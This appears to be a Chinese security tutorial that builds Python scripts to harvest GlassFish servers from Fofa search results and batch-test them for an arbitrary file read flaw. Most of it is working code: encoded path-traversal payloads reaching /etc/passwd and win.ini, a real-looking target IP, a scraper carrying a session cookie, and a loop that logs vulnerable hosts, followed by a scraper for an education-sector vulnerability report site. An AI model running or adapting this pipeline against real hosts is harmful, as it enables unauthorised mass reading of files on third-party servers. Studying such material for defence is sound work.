1.概述:
涉及技术 :Request 爬虫技术,lxml 数据提取,异常护理,Fofa 等使用说明。 目的: 掌握和利用公开或者 0day漏洞进行批量化的收集和验证脚本开发。
2.某漏洞 POC 验证脚本:
requests库使用参考:https://docs.python-requests.org/en/latest/
首先拿一个简单的例子:验证是否存在 glassfish 任意文件读取漏洞。
过程:验证存在 glassfish 的应用是否存在任意文件读取漏洞 :两个 poc,分别对应 linux 和 windows 的。首先fofa关键字(“glassfish” && port=“4848”&&after=“2020-01-01”)搜索可能存在漏洞的网址,记下url,然后编写python脚本发起 get 请求,根据请求的响应状态码来判断是否存在漏洞:
import requests
url='http://186.202.17.69:4848/'
payload_linux='/'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
data_linux=requests.get(url+payload_linux).status_code
data_windows=requests.get(url+payload_windows).status_code
if data_linux==200 or data_windows==200:
print("yes")
else:
print("no")
原理很简单,就是发起一次http请求,不存在该文件就会返回404状态码。
3.Fofa搜索结果提取采集与漏洞批量验证脚本:
上述只是针对单个目标的验证,那么如何批量提取fofa搜索到的结果、批量发起请求验证该漏洞呢?
首先是如何批量提取搜索结果:可以借助lxml库来提取fofa的结果(也可以正则表达式,没学过爬虫,不知道其他办法…),了解fofa的url搜索规则,对url进行base64处理、页数和条数显示:
import base64
import requests
search_data='"glassfish" && port="4848"'
url='https://fofa.info/result?&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
print(urls)
得到的信息筛选出需要的,此时需要使用lxml库:
soup=etree.tostring(result)
ip_data=soup.xpath('//a[@taget="_blank"]/@href')
print(ip_data)
提取到结果: 然后写入文件内:
ipdata='\n'.join(ip_data)
with open(r'ip.txt','a+') as f:
f.write(ipdata+'\n')
f.close()
fofa实现翻页效果就是修改iurl内page参数值即可,同时为显示更多的页面需要在py中循环递增变量增加请求条数: 需要登录会员显示更多数据,请求中加入cookie即可: 还可以增加异常处理、延时防止请求速度过快来完善脚本,完整实现函数:
import requests
import base64
from lxml import etree
import time
import sys
def fofa_search(search_data,page):
headers={
'cookie':'_fofapro_ars_session=01148af6062a060ccd5dd9a8483f5fea;result_per_page=20',
}
for yeshu in range(1,page+1):
url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
try:
print('正在提取第' + str(yeshu) + '页')
result=requests.get(urls,headers=headers).content
soup = etree.HTML(result)
ip_data=soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
ipdata='\n'.join(ip_data)
print(ip_data)
with open(r'ip.txt','a+') as f:
f.write(ipdata+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
if __name__ == '__main__':
search=sys.argv[1]
page=sys.argv[2]
fofa_search(search,int(page))
至此成功批量提取到可能存在漏洞的地址。
接下来是如何批量验证漏洞poc:也很简单,仍旧拿 glassfish 任意文件读取漏洞 简单举例,对上边的验证脚本进行二次开发即可实现批量验证。
代码:
def check_vuln():
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
for ip in open('C:\Users\86135\Desktop\ip.txt'):
ip=ip.replace('\n','')
windows_url=ip+payload_windows
linxu_url=ip+payload_linux
try:
vuln_code_l=requests.get(linxu_url).status_code
vuln_code_w=requests.get(windows_url).status_code
print("check->"+ip)
if vuln_code_l==200 or vuln_code_w ==200:
with open(r'vuln.txt','a+') as f:
f.write(ip)
f.close()
time.sleep(0.5)
except Exception as e:
pass
ip为之前批量获取的地址,同时也设置异常处理与延时、交互式(乃至多线程)来优化,其他代码与单独验证poc时基本相同,前后一结合,我们只需要吃瓜等待vuln.txt文件内的结果即可,只要poc写的规范就肯定存在相关漏洞,至此完成fofa批量提取并验证poc。
综上,介绍的只是一个简单的漏洞的poc,真实情况下越复杂的漏洞,编写批量验证脚本可能就越复杂,批量挖src用得到。
附一张大致流程图参考: 4.教育 SRC 报告平台信息提取脚本:
使用爬虫爬取页面信息,通过 lxml 库提取漏洞信息
读取10页的漏洞信息:
import requests,time
from lxml import etree
def edu_list(page):
for page in range(1,page+1):
try:
url='https://src.sjtu.edu.cn/list/?page='+str(page)
data=requests.get(url).content
soup = etree.HTML(data.decode('utf-8'))
result = soup.xpath('//td[@class=""]/a/text()')
results = '\n'.join(result)
resultss=results.split()
print(resultss)
for edu in resultss:
with open(r'src.txt', 'a+',encoding='utf-8') as f:
f.write(edu+'\n')
f.close()
except Exception as e:
time.sleep(0.5)
pass
if __name__ == '__main__':
edu_list(10)
指定页数提取:
import requests
from lxml import etree
def src_tiqu(yeshu):
for i in range(1,int(yeshu)):
url='https://src.sjtu.edu.cn/list/?page='+str(i)
print('提取->',str(i)+'页数')
data=requests.get(url).content
print(data.decode('utf-8'))
soup = etree.HTML(data)
result=soup.xpath('//td[@class=""]/a/text()')
results = '\n'.join(result)
resultss = results.split()
for edu in resultss:
print(edu)
with open(r'src_edu.txt', 'a+', encoding='utf-8') as f:
f.write(edu + '\n')
f.close()
if __name__ == '__main__':
yeshu = input("您要搞多少页数:")
src_tiqu(yeshu)
|